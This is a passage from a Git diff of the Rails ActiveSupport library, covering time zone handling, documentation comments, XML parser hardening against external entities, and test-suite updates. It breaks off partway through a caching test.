+require 'active_support/core_ext/date'
+require 'active_support/core_ext/date_time'
require 'active_support/core_ext/integer/time'
require 'active_support/core_ext/numeric/time'
+
+require 'active_support/core_ext/string/conversions'
+require 'active_support/core_ext/string/zones'
diff --git a/activesupport/lib/active_support/time_with_zone.rb b/activesupport/lib/active_support/time_with_zone.rb
index b931de3fac..9703fb6d28 100644
--- a/activesupport/lib/active_support/time_with_zone.rb
+++ b/activesupport/lib/active_support/time_with_zone.rb
@@ -45,7 +45,7 @@ module ActiveSupport
def initialize(utc_time, time_zone, local_time = nil, period = nil)
@utc, @time_zone, @time = utc_time, time_zone, local_time
- @period = @utc ? period : get_period_and_ensure_valid_local_time
+ @period = @utc ? period : get_period_and_ensure_valid_local_time(period)
end
# Returns a Time or DateTime instance that represents the time in +time_zone+.
@@ -75,44 +75,74 @@ module ActiveSupport
# Returns a <tt>Time.local()</tt> instance of the simultaneous time in your
# system's <tt>ENV['TZ']</tt> zone.
- def localtime
- utc.respond_to?(:getlocal) ? utc.getlocal : utc.to_time.getlocal
+ def localtime(utc_offset = nil)
+ utc.respond_to?(:getlocal) ? utc.getlocal(utc_offset) : utc.to_time.getlocal(utc_offset)
end
alias_method :getlocal, :localtime
+ # Returns true if the current time is within Daylight Savings Time for the
+ # specified time zone.
+ #
+ # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+ # Time.zone.parse("2012-5-30").dst? # => true
+ # Time.zone.parse("2012-11-30").dst? # => false
def dst?
period.dst?
end
alias_method :isdst, :dst?
+ # Returns true if the current time zone is set to UTC.
+ #
+ # Time.zone = 'UTC' # => 'UTC'
+ # Time.zone.now.utc? # => true
+ # Time.zone = 'Eastern Time (US & Canada)' # => 'Eastern Time (US & Canada)'
+ # Time.zone.now.utc? # => false
def utc?
time_zone.name == 'UTC'
end
alias_method :gmt?, :utc?
+ # Returns the offset from current time to UTC time in seconds.
def utc_offset
period.utc_total_offset
end
alias_method :gmt_offset, :utc_offset
alias_method :gmtoff, :utc_offset
+ # Returns a formatted string of the offset from UTC, or an alternative
+ # string if the time zone is already UTC.
+ #
+ # Time.zone = 'Eastern Time (US & Canada)' # => "Eastern Time (US & Canada)"
+ # Time.zone.now.formatted_offset(true) # => "-05:00"
+ # Time.zone.now.formatted_offset(false) # => "-0500"
+ # Time.zone = 'UTC' # => "UTC"
+ # Time.zone.now.formatted_offset(true, "0") # => "0"
def formatted_offset(colon = true, alternate_utc_string = nil)
utc? && alternate_utc_string || TimeZone.seconds_to_utc_offset(utc_offset, colon)
end
- # Time uses +zone+ to display the time zone abbreviation, so we're
- # duck-typing it.
+ # Returns the time zone abbreviation.
+ #
+ # Time.zone = 'Eastern Time (US & Canada)' # => "Eastern Time (US & Canada)"
+ # Time.zone.now.zone # => "EST"
def zone
period.zone_identifier.to_s
end
+ # Returns a string of the object's date, time, zone and offset from UTC.
+ #
+ # Time.zone.now.httpdate # => "Thu, 04 Dec 2014 11:00:25 EST -05:00"
def inspect
"#{time.strftime('%a, %d %b %Y %H:%M:%S')} #{zone} #{formatted_offset}"
end
+ # Returns a string of the object's date and time in the ISO 8601 standard
+ # format.
+ #
+ # Time.zone.now.xmlschema # => "2014-12-04T11:02:37-05:00"
def xmlschema(fraction_digits = 0)
- fraction = if fraction_digits > 0
- (".%06i" % time.usec)[0, fraction_digits + 1]
+ fraction = if fraction_digits.to_i > 0
+ (".%06i" % time.usec)[0, fraction_digits.to_i + 1]
end
"#{time.strftime("%Y-%m-%dT%H:%M:%S")}#{fraction}#{formatted_offset(true, 'Z')}"
@@ -125,15 +155,15 @@ module ActiveSupport
# to +false+.
#
# # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = true
- # Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
- # # => "2005-02-01T15:15:10Z"
+ # Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+ # # => "2005-02-01T05:15:10.000-10:00"
#
# # With ActiveSupport::JSON::Encoding.use_standard_json_time_format = false
- # Time.utc(2005,2,1,15,15,10).in_time_zone.to_json
- # # => "2005/02/01 15:15:10 +0000"
+ # Time.utc(2005,2,1,15,15,10).in_time_zone("Hawaii").to_json
+ # # => "2005/02/01 05:15:10 -1000"
def as_json(options = nil)
if ActiveSupport::JSON::Encoding.use_standard_json_time_format
- xmlschema
+ xmlschema(ActiveSupport::JSON::Encoding.time_precision)
else
%(#{time.strftime("%Y/%m/%d %H:%M:%S")} #{formatted_offset(false)})
end
@@ -147,17 +177,28 @@ module ActiveSupport
end
end
+ # Returns a string of the object's date and time in the format used by
+ # HTTP requests.
+ #
+ # Time.zone.now.httpdate # => "Tue, 01 Jan 2013 04:39:43 GMT"
def httpdate
utc.httpdate
end
+ # Returns a string of the object's date and time in the RFC 2822 standard
+ # format.
+ #
+ # Time.zone.now.rfc2822 # => "Tue, 01 Jan 2013 04:51:39 +0000"
def rfc2822
to_s(:rfc822)
end
alias_method :rfc822, :rfc2822
- # <tt>:db</tt> format outputs time in UTC; all others output time in local.
- # Uses TimeWithZone's +strftime+, so <tt>%Z</tt> and <tt>%z</tt> work correctly.
+ # Returns a string of the object's date and time.
+ # Accepts an optional <tt>format</tt>:
+ # * <tt>:default</tt> - default value, mimics Ruby 1.9 Time#to_s format.
+ # * <tt>:db</tt> - format outputs time in UTC :db time. See Time#to_formatted_s(:db).
+ # * Any key in <tt>Time::DATE_FORMATS</tt> can be used. See active_support/core_ext/time/conversions.rb.
def to_s(format = :default)
if format == :db
utc.to_s(format)
@@ -169,15 +210,11 @@ module ActiveSupport
end
alias_method :to_formatted_s, :to_s
- # Replaces <tt>%Z</tt> and <tt>%z</tt> directives with +zone+ and
- # +formatted_offset+, respectively, before passing to Time#strftime, so
- # that zone information is correct
+ # Replaces <tt>%Z</tt> directive with +zone before passing to Time#strftime,
+ # so that zone information is correct.
def strftime(format)
- format = format.gsub('%Z', zone)
- .gsub('%z', formatted_offset(false))
- .gsub('%:z', formatted_offset(true))
- .gsub('%::z', formatted_offset(true) + ":00")
- time.strftime(format)
+ format = format.gsub(/((?:\A|[^%])(?:%%)*)%Z/, "\\1#{zone}")
+ getlocal(utc_offset).strftime(format)
end
# Use the time in UTC for comparisons.
@@ -185,18 +222,24 @@ module ActiveSupport
utc <=> other
end
+ # Returns true if the current object's time is within the specified
+ # +min+ and +max+ time.
def between?(min, max)
utc.between?(min, max)
end
+ # Returns true if the current object's time is in the past.
def past?
utc.past?
end
+ # Returns true if the current object's time falls within
+ # the current day.
def today?
time.today?
end
+ # Returns true if the current object's time is in the future.
def future?
utc.future?
end
@@ -224,7 +267,7 @@ module ActiveSupport
# If we're subtracting a Duration of variable length (i.e., years, months, days), move backwards from #time,
# otherwise move backwards #utc, for accuracy when moving across DST boundaries
if other.acts_like?(:time)
- utc.to_f - other.to_f
+ to_time - other.to_time
elsif duration_of_variable_length?(other)
method_missing(:-, other)
else
@@ -257,7 +300,7 @@ module ActiveSupport
end
end
- %w(year mon month day mday wday yday hour min sec to_date).each do |method_name|
+ %w(year mon month day mday wday yday hour min sec usec nsec to_date).each do |method_name|
class_eval <<-EOV, __FILE__, __LINE__ + 1
def #{method_name} # def month
time.#{method_name} # time.month
@@ -265,26 +308,38 @@ module ActiveSupport
EOV
end
- def usec
- time.respond_to?(:usec) ? time.usec : 0
- end
-
def to_a
[time.sec, time.min, time.hour, time.day, time.mon, time.year, time.wday, time.yday, dst?, zone]
end
+ # Returns the object's date and time as a floating point number of seconds
+ # since the Epoch (January 1, 1970 00:00 UTC).
+ #
+ # Time.zone.now.to_f # => 1417709320.285418
def to_f
utc.to_f
end
+ # Returns the object's date and time as an integer number of seconds
+ # since the Epoch (January 1, 1970 00:00 UTC).
+ #
+ # Time.zone.now.to_i # => 1417709320
def to_i
utc.to_i
end
alias_method :tv_sec, :to_i
- # A TimeWithZone acts like a Time, so just return +self+.
+ # Returns the object's date and time as a rational number of seconds
+ # since the Epoch (January 1, 1970 00:00 UTC).
+ #
+ # Time.zone.now.to_r # => (708854548642709/500000)
+ def to_r
+ utc.to_r
+ end
+
+ # Return an instance of Time in the system timezone.
def to_time
- utc
+ utc.to_time
end
def to_datetime
@@ -315,6 +370,14 @@ module ActiveSupport
initialize(variables[0].utc, ::Time.find_zone(variables[1]), variables[2].utc)
end
+ # respond_to_missing? is not called in some cases, such as when type conversion is
+ # performed with Kernel#String
+ def respond_to?(sym, include_priv = false)
+ # ensure that we're not going to throw and rescue from NoMethodError in method_missing which is slow
+ return false if sym.to_sym == :to_str
+ super
+ end
+
# Ensure proxy class responds to all methods that underlying time instance
# responds to.
def respond_to_missing?(sym, include_priv)
@@ -327,15 +390,17 @@ module ActiveSupport
# TimeWithZone with the existing +time_zone+.
def method_missing(sym, *args, &block)
wrap_with_time_zone time.__send__(sym, *args, &block)
+ rescue NoMethodError => e
+ raise e, e.message.sub(time.inspect, self.inspect), e.backtrace
end
private
- def get_period_and_ensure_valid_local_time
+ def get_period_and_ensure_valid_local_time(period)
# we don't want a Time.local instance enforcing its own DST rules as well,
# so transfer time values to a utc constructor if necessary
@time = transfer_time_values_to_utc_constructor(@time) unless @time.utc?
begin
- @time_zone.period_for_local(@time)
+ period || @time_zone.period_for_local(@time)
rescue ::TZInfo::PeriodNotFound
# time is in the "spring forward" hour gap, so we're moving the time forward one hour and trying again
@time += 1.hour
@@ -344,7 +409,7 @@ module ActiveSupport
end
def transfer_time_values_to_utc_constructor(time)
- ::Time.utc_time(time.year, time.month, time.day, time.hour, time.min, time.sec, time.respond_to?(:nsec) ? Rational(time.nsec, 1000) : 0)
+ ::Time.utc(time.year, time.month, time.day, time.hour, time.min, time.sec, Rational(time.nsec, 1000))
end
def duration_of_variable_length?(obj)
@@ -353,7 +418,8 @@ module ActiveSupport
def wrap_with_time_zone(time)
if time.acts_like?(:time)
- self.class.new(nil, time_zone, time)
+ periods = time_zone.periods_for_local(time)
+ self.class.new(nil, time_zone, time, periods.include?(period) ? period : nil)
elsif time.is_a?(Range)
wrap_with_time_zone(time.begin)..wrap_with_time_zone(time.end)
else
diff --git a/activesupport/lib/active_support/values/time_zone.rb b/activesupport/lib/active_support/values/time_zone.rb
index d087955587..fd05a5459c 100644
--- a/activesupport/lib/active_support/values/time_zone.rb
+++ b/activesupport/lib/active_support/values/time_zone.rb
@@ -1,3 +1,5 @@
+require 'tzinfo'
+require 'thread_safe'
require 'active_support/core_ext/object/blank'
require 'active_support/core_ext/object/try'
@@ -5,7 +7,7 @@ module ActiveSupport
# The TimeZone class serves as a wrapper around TZInfo::Timezone instances.
# It allows us to do the following:
#
- # * Limit the set of zones provided by TZInfo to a meaningful subset of 142
+ # * Limit the set of zones provided by TZInfo to a meaningful subset of 146
# zones.
# * Retrieve and display zones with a friendlier name
# (e.g., "Eastern Time (US & Canada)" instead of "America/New_York").
@@ -62,6 +64,7 @@ module ActiveSupport
"Newfoundland" => "America/St_Johns",
"Brasilia" => "America/Sao_Paulo",
"Buenos Aires" => "America/Argentina/Buenos_Aires",
+ "Montevideo" => "America/Montevideo",
"Georgetown" => "America/Guyana",
"Greenland" => "America/Godthab",
"Mid-Atlantic" => "Atlantic/South_Georgia",
@@ -150,7 +153,7 @@ module ActiveSupport
"Taipei" => "Asia/Taipei",
"Perth" => "Australia/Perth",
"Irkutsk" => "Asia/Irkutsk",
- "Ulaan Bataar" => "Asia/Ulaanbaatar",
+ "Ulaanbaatar" => "Asia/Ulaanbaatar",
"Seoul" => "Asia/Seoul",
"Osaka" => "Asia/Tokyo",
"Sapporo" => "Asia/Tokyo",
@@ -176,22 +179,81 @@ module ActiveSupport
"Wellington" => "Pacific/Auckland",
"Nuku'alofa" => "Pacific/Tongatapu",
"Tokelau Is." => "Pacific/Fakaofo",
+ "Chatham Is." => "Pacific/Chatham",
"Samoa" => "Pacific/Apia"
}
UTC_OFFSET_WITH_COLON = '%s%02d:%02d'
- UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.sub(':', '')
+ UTC_OFFSET_WITHOUT_COLON = UTC_OFFSET_WITH_COLON.tr(':', '')
- # Assumes self represents an offset from UTC in seconds (as returned from
- # Time#utc_offset) and turns this into an +HH:MM formatted string.
- #
- # TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
- def self.seconds_to_utc_offset(seconds, colon = true)
- format = colon ? UTC_OFFSET_WITH_COLON : UTC_OFFSET_WITHOUT_COLON
- sign = (seconds < 0 ? '-' : '+')
- hours = seconds.abs / 3600
- minutes = (seconds.abs % 3600) / 60
- format % [sign, hours, minutes]
+ @lazy_zones_map = ThreadSafe::Cache.new
+
+ class << self
+ # Assumes self represents an offset from UTC in seconds (as returned from
+ # Time#utc_offset) and turns this into an +HH:MM formatted string.
+ #
+ # TimeZone.seconds_to_utc_offset(-21_600) # => "-06:00"
+ def seconds_to_utc_offset(seconds, colon = true)
+ format = colon ? UTC_OFFSET_WITH_COLON : UTC_OFFSET_WITHOUT_COLON
+ sign = (seconds < 0 ? '-' : '+')
+ hours = seconds.abs / 3600
+ minutes = (seconds.abs % 3600) / 60
+ format % [sign, hours, minutes]
+ end
+
+ def find_tzinfo(name)
+ TZInfo::TimezoneProxy.new(MAPPING[name] || name)
+ end
+
+ alias_method :create, :new
+
+ # Returns a TimeZone instance with the given name, or +nil+ if no
+ # such TimeZone instance exists. (This exists to support the use of
+ # this class with the +composed_of+ macro.)
+ def new(name)
+ self[name]
+ end
+
+ # Returns an array of all TimeZone objects. There are multiple
+ # TimeZone objects per time zone, in many cases, to make it easier
+ # for users to find their own time zone.
+ def all
+ @zones ||= zones_map.values.sort
+ end
+
+ def zones_map
+ @zones_map ||= begin
+ MAPPING.each_key {|place| self[place]} # load all the zones
+ @lazy_zones_map
+ end
+ end
+
+ # Locate a specific time zone object. If the argument is a string, it
+ # is interpreted to mean the name of the timezone to locate. If it is a
+ # numeric value it is either the hour offset, or the second offset, of the
+ # timezone to find. (The first one with that offset will be returned.)
+ # Returns +nil+ if no such time zone is known to the system.
+ def [](arg)
+ case arg
+ when String
+ begin
+ @lazy_zones_map[arg] ||= create(arg).tap(&:utc_offset)
+ rescue TZInfo::InvalidTimezoneIdentifier
+ nil
+ end
+ when Numeric, ActiveSupport::Duration
+ arg *= 3600 if arg.abs <= 13
+ all.find { |z| z.utc_offset == arg.to_i }
+ else
+ raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
+ end
+ end
+
+ # A convenience method for returning a collection of TimeZone objects
+ # for time zones in the USA.
+ def us_zones
+ @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
+ end
end
include Comparable
@@ -203,8 +265,6 @@ module ActiveSupport
# (GMT). Seconds were chosen as the offset unit because that is the unit
# that Ruby uses to represent time zone offsets (see Time#utc_offset).
def initialize(name, utc_offset = nil, tzinfo = nil)
- self.class.send(:require_tzinfo)
-
@name = name
@utc_offset = utc_offset
@tzinfo = tzinfo || TimeZone.find_tzinfo(name)
@@ -216,8 +276,8 @@ module ActiveSupport
if @utc_offset
@utc_offset
else
- @current_period ||= tzinfo.try(:current_period)
- @current_period.try(:utc_offset)
+ @current_period ||= tzinfo.current_period if tzinfo
+ @current_period.utc_offset if @current_period
end
end
@@ -230,6 +290,7 @@ module ActiveSupport
# Compare this time zone to the parameter. The two are compared first on
# their offsets, and then by name.
def <=>(zone)
+ return unless zone.respond_to? :utc_offset
result = (utc_offset <=> zone.utc_offset)
result = (name <=> zone.name) if result == 0
result
@@ -238,7 +299,7 @@ module ActiveSupport
# Compare #name and TZInfo identifier to a supplied regexp, returning +true+
# if a match is found.
def =~(re)
- return true if name =~ re || MAPPING[name] =~ re
+ re === name || re === MAPPING[name]
end
# Returns a textual representation of this time zone.
@@ -252,7 +313,7 @@ module ActiveSupport
# Time.zone = 'Hawaii' # => "Hawaii"
# Time.zone.local(2007, 2, 1, 15, 30, 45) # => Thu, 01 Feb 2007 15:30:45 HST -10:00
def local(*args)
- time = Time.utc_time(*args)
+ time = Time.utc(*args)
ActiveSupport::TimeWithZone.new(nil, self, time)
end
@@ -277,14 +338,19 @@ module ActiveSupport
#
# Time.zone.now # => Fri, 31 Dec 1999 14:00:00 HST -10:00
# Time.zone.parse('22:30:00') # => Fri, 31 Dec 1999 22:30:00 HST -10:00
- def parse(str, now=now)
+ #
+ # However, if the date component is not provided, but any other upper
+ # components are supplied, then the day of the month defaults to 1:
+ #
+ # Time.zone.parse('Mar 2000') # => Wed, 01 Mar 2000 00:00:00 HST -10:00
+ def parse(str, now=now())
parts = Date._parse(str, false)
return if parts.empty?
time = Time.new(
parts.fetch(:year, now.year),
parts.fetch(:mon, now.month),
- parts.fetch(:mday, now.day),
+ parts.fetch(:mday, parts[:year] || parts[:mon] ? 1 : now.day),
parts.fetch(:hour, 0),
parts.fetch(:min, 0),
parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
@@ -312,6 +378,16 @@ module ActiveSupport
tzinfo.now.to_date
end
+ # Returns the next date in this time zone.
+ def tomorrow
+ today + 1
+ end
+
+ # Returns the previous date in this time zone.
+ def yesterday
+ today - 1
+ end
+
# Adjust the given time to the simultaneous time in the time zone
# represented by +self+. Returns a Time.utc() instance -- if you want an
# ActiveSupport::TimeWithZone instance, use Time#in_time_zone() instead.
@@ -337,91 +413,13 @@ module ActiveSupport
tzinfo.period_for_local(time, dst)
end
- def self.find_tzinfo(name)
- TZInfo::TimezoneProxy.new(MAPPING[name] || name)
- end
-
- class << self
- alias_method :create, :new
-
- # Return a TimeZone instance with the given name, or +nil+ if no
- # such TimeZone instance exists. (This exists to support the use of
- # this class with the +composed_of+ macro.)
- def new(name)
- self[name]
- end
-
- # Return an array of all TimeZone objects. There are multiple
- # TimeZone objects per time zone, in many cases, to make it easier
- # for users to find their own time zone.
- def all
- @zones ||= zones_map.values.sort
- end
-
- def zones_map
- @zones_map ||= begin
- new_zones_names = MAPPING.keys - lazy_zones_map.keys
- new_zones = Hash[new_zones_names.map { |place| [place, create(place)] }]
-
- lazy_zones_map.merge(new_zones)
- end
- end
-
- # Locate a specific time zone object. If the argument is a string, it
- # is interpreted to mean the name of the timezone to locate. If it is a
- # numeric value it is either the hour offset, or the second offset, of the
- # timezone to find. (The first one with that offset will be returned.)
- # Returns +nil+ if no such time zone is known to the system.
- def [](arg)
- case arg
- when String
- begin
- lazy_zones_map[arg] ||= lookup(arg).tap { |tz| tz.utc_offset }
- rescue TZInfo::InvalidTimezoneIdentifier
- nil
- end
- when Numeric, ActiveSupport::Duration
- arg *= 3600 if arg.abs <= 13
- all.find { |z| z.utc_offset == arg.to_i }
- else
- raise ArgumentError, "invalid argument to TimeZone[]: #{arg.inspect}"
- end
- end
-
- # A convenience method for returning a collection of TimeZone objects
- # for time zones in the USA.
- def us_zones
- @us_zones ||= all.find_all { |z| z.name =~ /US|Arizona|Indiana|Hawaii|Alaska/ }
- end
-
- protected
-
- def require_tzinfo
- require 'tzinfo' unless defined?(::TZInfo)
- rescue LoadError
- $stderr.puts "You don't have tzinfo installed in your application. Please add it to your Gemfile and run bundle install"
- raise
- end
-
- private
-
- def lookup(name)
- (tzinfo = find_tzinfo(name)) && create(tzinfo.name.freeze)
- end
-
- def lazy_zones_map
- require_tzinfo
-
- @lazy_zones_map ||= Hash.new do |hash, place|
- hash[place] = create(place) if MAPPING.has_key?(place)
- end
- end
+ def periods_for_local(time) #:nodoc:
+ tzinfo.periods_for_local(time)
end
private
-
- def time_now
- Time.now
- end
+ def time_now
+ Time.now
+ end
end
end
diff --git a/activesupport/lib/active_support/values/unicode_tables.dat b/activesupport/lib/active_support/values/unicode_tables.dat
index df17a8cccf..760be4c07a 100644
--- a/activesupport/lib/active_support/values/unicode_tables.dat
+++ b/activesupport/lib/active_support/values/unicode_tables.dat
Binary files differ
diff --git a/activesupport/lib/active_support/version.rb b/activesupport/lib/active_support/version.rb
index 8a8f8f946d..fe03984546 100644
--- a/activesupport/lib/active_support/version.rb
+++ b/activesupport/lib/active_support/version.rb
@@ -1,10 +1,8 @@
-module ActiveSupport
- module VERSION #:nodoc:
- MAJOR = 4
- MINOR = 0
- TINY = 0
- PRE = "beta"
+require_relative 'gem_version'
- STRING = [MAJOR, MINOR, TINY, PRE].compact.join('.')
+module ActiveSupport
+ # Returns the version of the currently loaded ActiveSupport as a <tt>Gem::Version</tt>
+ def self.version
+ gem_version
end
end
diff --git a/activesupport/lib/active_support/xml_mini.rb b/activesupport/lib/active_support/xml_mini.rb
index d082a0a499..009ee4db90 100644
--- a/activesupport/lib/active_support/xml_mini.rb
+++ b/activesupport/lib/active_support/xml_mini.rb
@@ -1,7 +1,9 @@
require 'time'
require 'base64'
+require 'bigdecimal'
require 'active_support/core_ext/module/delegation'
require 'active_support/core_ext/string/inflections'
+require 'active_support/core_ext/date_time/calculations'
module ActiveSupport
# = XmlMini
@@ -56,13 +58,13 @@ module ActiveSupport
# TODO use regexp instead of Date.parse
unless defined?(PARSING)
PARSING = {
- "symbol" => Proc.new { |symbol| symbol.to_sym },
+ "symbol" => Proc.new { |symbol| symbol.to_s.to_sym },
"date" => Proc.new { |date| ::Date.parse(date) },
"datetime" => Proc.new { |time| Time.xmlschema(time).utc rescue ::DateTime.parse(time).utc },
"integer" => Proc.new { |integer| integer.to_i },
"float" => Proc.new { |float| float.to_f },
"decimal" => Proc.new { |number| BigDecimal(number) },
- "boolean" => Proc.new { |boolean| %w(1 true).include?(boolean.strip) },
+ "boolean" => Proc.new { |boolean| %w(1 true).include?(boolean.to_s.strip) },
"string" => Proc.new { |string| string.to_s },
"yaml" => Proc.new { |yaml| YAML::load(yaml) rescue yaml },
"base64Binary" => Proc.new { |bin| ::Base64.decode64(bin) },
diff --git a/activesupport/lib/active_support/xml_mini/jdom.rb b/activesupport/lib/active_support/xml_mini/jdom.rb
index 4551dd2f2d..f303daa1a7 100644
--- a/activesupport/lib/active_support/xml_mini/jdom.rb
+++ b/activesupport/lib/active_support/xml_mini/jdom.rb
@@ -37,6 +37,12 @@ module ActiveSupport
{}
else
@dbf = DocumentBuilderFactory.new_instance
+ # secure processing of java xml
+ # http://www.ibm.com/developerworks/xml/library/x-tipcfsx/index.html
+ @dbf.setFeature("http://apache.org/xml/features/nonvalidating/load-external-dtd", false)
+ @dbf.setFeature("http://xml.org/sax/features/external-general-entities", false)
+ @dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false)
+ @dbf.setFeature(javax.xml.XMLConstants::FEATURE_SECURE_PROCESSING, true)
xml_string_reader = StringReader.new(data)
xml_input_source = InputSource.new(xml_string_reader)
doc = @dbf.new_document_builder.parse(xml_input_source)
@@ -135,7 +141,7 @@ module ActiveSupport
(0...attributes.length).each do |i|
attribute_hash[CONTENT_KEY] ||= ''
attribute_hash[attributes.item(i).name] = attributes.item(i).value
- end
+ end
attribute_hash
end
diff --git a/activesupport/lib/active_support/xml_mini/libxmlsax.rb b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
index acc018fd2d..70a95299ec 100644
--- a/activesupport/lib/active_support/xml_mini/libxmlsax.rb
+++ b/activesupport/lib/active_support/xml_mini/libxmlsax.rb
@@ -32,7 +32,7 @@ module ActiveSupport
end
def on_start_element(name, attrs = {})
- new_hash = { CONTENT_KEY => '' }.merge(attrs)
+ new_hash = { CONTENT_KEY => '' }.merge!(attrs)
new_hash[HASH_SIZE_KEY] = new_hash.size + 1
case current_hash[name]
diff --git a/activesupport/lib/active_support/xml_mini/nokogirisax.rb b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
index 30b94aac47..be2d6a4cb1 100644
--- a/activesupport/lib/active_support/xml_mini/nokogirisax.rb
+++ b/activesupport/lib/active_support/xml_mini/nokogirisax.rb
@@ -38,7 +38,7 @@ module ActiveSupport
end
def start_element(name, attrs = [])
- new_hash = { CONTENT_KEY => '' }.merge(Hash[attrs])
+ new_hash = { CONTENT_KEY => '' }.merge!(Hash[attrs])
new_hash[HASH_SIZE_KEY] = new_hash.size + 1
case current_hash[name]
diff --git a/activesupport/test/abstract_unit.rb b/activesupport/test/abstract_unit.rb
index 8a67b148c3..f65ec962f9 100644
--- a/activesupport/test/abstract_unit.rb
+++ b/activesupport/test/abstract_unit.rb
@@ -8,18 +8,38 @@ ensure
end
require 'active_support/core_ext/kernel/reporting'
-require 'active_support/core_ext/string/encoding'
silence_warnings do
Encoding.default_internal = "UTF-8"
Encoding.default_external = "UTF-8"
end
-require 'minitest/autorun'
-require 'empty_bool'
+require 'active_support/testing/autorun'
ENV['NO_RELOAD'] = '1'
require 'active_support'
+Thread.abort_on_exception = true
+
# Show backtraces for deprecated behavior for quicker cleanup.
ActiveSupport::Deprecation.debug = true
+
+# Disable available locale checks to avoid warnings running the test suite.
+I18n.enforce_available_locales = false
+
+# Skips the current run on Rubinius using Minitest::Assertions#skip
+def rubinius_skip(message = '')
+ skip message if RUBY_ENGINE == 'rbx'
+end
+
+# Skips the current run on JRuby using Minitest::Assertions#skip
+def jruby_skip(message = '')
+ skip message if defined?(JRUBY_VERSION)
+end
+
+require 'mocha/setup' # FIXME: stop using mocha
+
+# FIXME: we have tests that depend on run order, we should fix that and
+# remove this method call.
+require 'active_support/test_case'
+ActiveSupport::TestCase.test_order = :sorted
diff --git a/activesupport/test/autoload_test.rb b/activesupport/test/autoload_test.rb
index 7d02d835a8..c18b007612 100644
--- a/activesupport/test/autoload_test.rb
+++ b/activesupport/test/autoload_test.rb
@@ -11,6 +11,11 @@ class TestAutoloadModule < ActiveSupport::TestCase
end
end
+ def setup
+ @some_class_path = File.expand_path("test/fixtures/autoload/some_class.rb")
+ @another_class_path = File.expand_path("test/fixtures/autoload/another_class.rb")
+ end
+
test "the autoload module works like normal autoload" do
module ::Fixtures::Autoload
autoload :SomeClass, "fixtures/autoload/some_class"
@@ -21,10 +26,12 @@ class TestAutoloadModule < ActiveSupport::TestCase
test "when specifying an :eager constant it still works like normal autoload by default" do
module ::Fixtures::Autoload
- autoload :SomeClass, "fixtures/autoload/some_class"
+ eager_autoload do
+ autoload :SomeClass, "fixtures/autoload/some_class"
+ end
end
- assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+ assert !$LOADED_FEATURES.include?(@some_class_path)
assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
end
@@ -33,16 +40,20 @@ class TestAutoloadModule < ActiveSupport::TestCase
autoload :SomeClass
end
- assert !$LOADED_FEATURES.include?("fixtures/autoload/some_class.rb")
+ assert !$LOADED_FEATURES.include?(@some_class_path)
assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
end
test "the location of :eager autoloaded constants defaults to :name.underscore" do
module ::Fixtures::Autoload
- autoload :SomeClass
+ eager_autoload do
+ autoload :SomeClass
+ end
end
+ assert !$LOADED_FEATURES.include?(@some_class_path)
::Fixtures::Autoload.eager_load!
+ assert $LOADED_FEATURES.include?(@some_class_path)
assert_nothing_raised { ::Fixtures::Autoload::SomeClass }
end
@@ -53,7 +64,7 @@ class TestAutoloadModule < ActiveSupport::TestCase
end
end
- assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
+ assert !$LOADED_FEATURES.include?(@another_class_path)
assert_nothing_raised { ::Fixtures::AnotherClass }
end
@@ -64,7 +75,7 @@ class TestAutoloadModule < ActiveSupport::TestCase
end
end
- assert !$LOADED_FEATURES.include?("fixtures/autoload/another_class.rb")
+ assert !$LOADED_FEATURES.include?(@another_class_path)
assert_nothing_raised { ::Fixtures::AnotherClass }
end
end \ No newline at end of file
diff --git a/activesupport/test/autoloading_fixtures/html/some_class.rb b/activesupport/test/autoloading_fixtures/html/some_class.rb
new file mode 100644
index 0000000000..b43d15d891
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/html/some_class.rb
@@ -0,0 +1,4 @@
+module HTML
+ class SomeClass
+ end
+end
diff --git a/activesupport/test/autoloading_fixtures/typo.rb b/activesupport/test/autoloading_fixtures/typo.rb
new file mode 100644
index 0000000000..8e047f5fd4
--- /dev/null
+++ b/activesupport/test/autoloading_fixtures/typo.rb
@@ -0,0 +1,2 @@
+TypO = 1
+
diff --git a/activesupport/test/caching_test.rb b/activesupport/test/caching_test.rb
index a2e2c51283..5945605f7b 100644
--- a/activesupport/test/caching_test.rb
+++ b/activesupport/test/caching_test.rb
@@ -1,7 +1,43 @@
require 'logger'
require 'abstract_unit'
require 'active_support/cache'
-require 'dependecies_test_helpers'
+require 'dependencies_test_helpers'
+
+module ActiveSupport
+ module Cache
+ module Strategy
+ module LocalCache
+ class MiddlewareTest < ActiveSupport::TestCase
+ def test_local_cache_cleared_on_close
+ key = "super awesome key"
+ assert_nil LocalCacheRegistry.cache_for key
+ middleware = Middleware.new('<3', key).new(->(env) {
+ assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+ [200, {}, []]
+ })
+ _, _, body = middleware.call({})
+ assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+ body.each { }
+ assert LocalCacheRegistry.cache_for(key), 'should still have a cache'
+ body.close
+ assert_nil LocalCacheRegistry.cache_for(key)
+ end
+
+ def test_local_cache_cleared_on_exception
+ key = "super awesome key"
+ assert_nil LocalCacheRegistry.cache_for key
+ middleware = Middleware.new('<3', key).new(->(env) {
+ assert LocalCacheRegistry.cache_for(key), 'should have a cache'
+ raise
+ })
+ assert_raises(RuntimeError) { middleware.call({}) }
+ assert_nil LocalCacheRegistry.cache_for(key)
+ end
+ end
+ end
+ end
+ end
+end
class CacheKeyTest < ActiveSupport::TestCase
def test_entry_legacy_optional_ivars
@@ -24,36 +60,25 @@ class CacheKeyTest < ActiveSupport::TestCase
end
def test_expand_cache_key_with_rails_cache_id
- begin
- ENV['RAILS_CACHE_ID'] = 'c99'
+ with_env('RAILS_CACHE_ID' => 'c99') do
